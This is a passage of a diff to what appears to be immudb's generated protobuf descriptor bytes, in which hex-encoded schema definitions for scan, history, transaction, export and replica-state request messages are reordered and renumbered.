0x75, 0x73, 0x69, 0x76, 0x65, - 0x53, 0x65, 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, - 0x73, 0x63, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, - 0x0a, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, + 0x01, 0x28, 0x0c, 0x52, 0x03, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x65, 0x65, 0x6b, + 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x73, 0x65, 0x65, 0x6b, 0x4b, + 0x65, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x01, 0x52, 0x09, 0x73, 0x65, 0x65, 0x6b, 0x53, 0x63, 0x6f, 0x72, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x08, 0x73, 0x65, 0x65, 0x6b, 0x41, 0x74, 0x54, 0x78, 0x12, 0x24, 0x0a, 0x0d, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, 0x65, 0x6b, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0d, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x76, 0x65, 0x53, 0x65, + 0x65, 0x6b, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x30, 0x0a, 0x08, + 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x12, 0x30, + 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x69, 0x6e, 0x53, 0x63, 0x6f, 0x72, 0x65, - 0x12, 0x30, 0x0a, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x18, 0x09, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, - 0x72, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, - 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, - 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, - 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, - 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, - 0x73, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, - 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, - 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, - 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, - 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, - 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, - 0x64, 0x22, 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x12, 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, - 0x65, 0x63, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, - 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, - 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0e, 0x73, - 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x22, 0x47, 0x0a, - 0x0d, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x12, 0x36, - 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, - 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x22, 0xf5, 0x01, 0x0a, 0x13, 0x56, 0x65, 0x72, 0x69, 0x66, - 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, - 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x22, - 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, - 0x54, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, - 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, - 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, - 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x2e, 0x53, 0x63, 0x6f, 0x72, 0x65, 0x52, 0x08, 0x6d, 0x61, 0x78, 0x53, 0x63, 0x6f, 0x72, 0x65, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, - 0x57, 0x61, 0x69, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, - 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, - 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, 0xc7, - 0x01, 0x0a, 0x0d, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1c, 0x0a, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x09, 0x69, 0x6e, 0x69, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x78, 0x12, 0x14, - 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x6c, - 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x64, 0x65, 0x73, 0x63, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, + 0x57, 0x61, 0x69, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x0c, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x22, 0x7e, 0x0a, 0x0e, 0x48, 0x69, + 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x16, + 0x0a, 0x06, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x06, + 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x18, + 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x6c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x64, 0x65, 0x73, 0x63, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x64, 0x65, 0x73, 0x63, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x79, 0x0a, 0x15, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x3c, 0x0a, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x52, 0x0b, 0x7a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, + 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0xc7, 0x01, 0x0a, 0x09, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x02, 0x74, 0x78, 0x12, 0x3c, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, + 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, + 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, + 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, + 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, + 0x61, 0x69, 0x74, 0x12, 0x3a, 0x0a, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x18, 0x6b, 0x65, 0x65, 0x70, 0x52, 0x65, 0x66, 0x65, 0x72, + 0x65, 0x6e, 0x63, 0x65, 0x73, 0x55, 0x6e, 0x72, 0x65, 0x73, 0x6f, 0x6c, 0x76, 0x65, 0x64, 0x22, + 0xd9, 0x01, 0x0a, 0x0b, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, + 0x42, 0x0a, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, + 0x53, 0x70, 0x65, 0x63, 0x52, 0x0d, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x12, 0x40, 0x0a, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, + 0x70, 0x65, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, + 0x79, 0x70, 0x65, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0c, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, + 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x44, 0x0a, 0x0e, 0x73, 0x71, 0x6c, 0x45, 0x6e, 0x74, 0x72, + 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, - 0x74, 0x72, 0x69, 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x53, 0x70, 0x65, 0x63, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, - 0x78, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, - 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x2d, 0x0a, 0x06, 0x54, 0x78, 0x4c, 0x69, - 0x73, 0x74, 0x12, 0x23, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x22, 0xc0, 0x01, 0x0a, 0x0f, 0x45, 0x78, 0x70, 0x6f, - 0x72, 0x74, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x74, - 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, 0x02, 0x74, 0x78, 0x12, 0x2c, 0x0a, 0x11, 0x61, - 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x61, 0x6c, 0x6c, 0x6f, 0x77, 0x50, 0x72, 0x65, - 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x12, 0x3f, 0x0a, 0x0c, 0x72, 0x65, 0x70, - 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x52, 0x0c, 0x72, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x0a, 0x12, 0x73, 0x6b, - 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x73, 0x6b, 0x69, 0x70, 0x49, 0x6e, 0x74, 0x65, - 0x67, 0x72, 0x69, 0x74, 0x79, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x22, 0xc2, 0x01, 0x0a, 0x0c, 0x52, - 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, - 0x55, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, - 0x24, 0x0a, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x22, 0x0a, 0x0c, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, - 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x63, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x12, 0x2a, 0x0a, 0x10, 0x70, 0x72, 0x65, - 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x44, 0x18, 0x04, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x54, 0x78, 0x49, 0x44, 0x12, 0x28, 0x0a, 0x0f, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, - 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x41, 0x6c, 0x68, 0x22, - 0x2e, 0x0a, 0x08, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x64, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0c, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 